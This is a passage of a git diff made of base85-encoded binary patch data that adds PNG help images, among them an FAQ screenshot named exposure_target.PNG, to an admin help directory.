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 literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/exposure_target.PNG b/admin/help/img/faq/exposure_target.PNG new file mode 100644 index 0000000000000000000000000000000000000000..887fec8aab597a1ddb731f3eef2d2b84a2f15662 GIT binary patch literal 5834 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 